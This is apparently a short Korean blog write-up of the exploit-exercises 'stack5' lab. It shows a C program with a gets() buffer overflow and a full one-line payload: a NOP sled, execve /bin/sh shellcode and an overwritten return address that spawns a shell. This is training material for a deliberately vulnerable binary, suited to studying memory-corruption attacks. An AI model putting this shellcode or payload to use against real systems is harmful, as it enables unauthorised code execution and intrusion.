1. #include <stdlib.h>  
  2. #include <unistd.h>  
  3. #include <stdio.h>  
  4. #include <string.h>  
  5.   
  6. int main(int argc, char **argv)  
  7. {  
  8.   char buffer[64];  
  9.   
  10.   gets(buffer);  
  11. }  



쉘따라는 소리인것 같다.


보다 쉽게 풀기위해 쉘코드를 사용할 것이고 컴파일 옵션으로 -zexecstack을 줄 것이다.


80byte에서 eip가 완전히 덮히니 76byte를 덮은 후에 eip주소가 온다.



payload


$(python -c 'print "\x90"*30 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90"*33 + "\x6c\xd6\xff\xff"';cat) | ./stack5


'pwnable > exploit-exercise' 카테고리의 다른 글

stack4  (0) 2017.02.24
stack3  (0) 2017.02.24
stack2  (0) 2016.07.11
stack1  (0) 2016.07.09
stack0  (0) 2016.07.09

+ Recent posts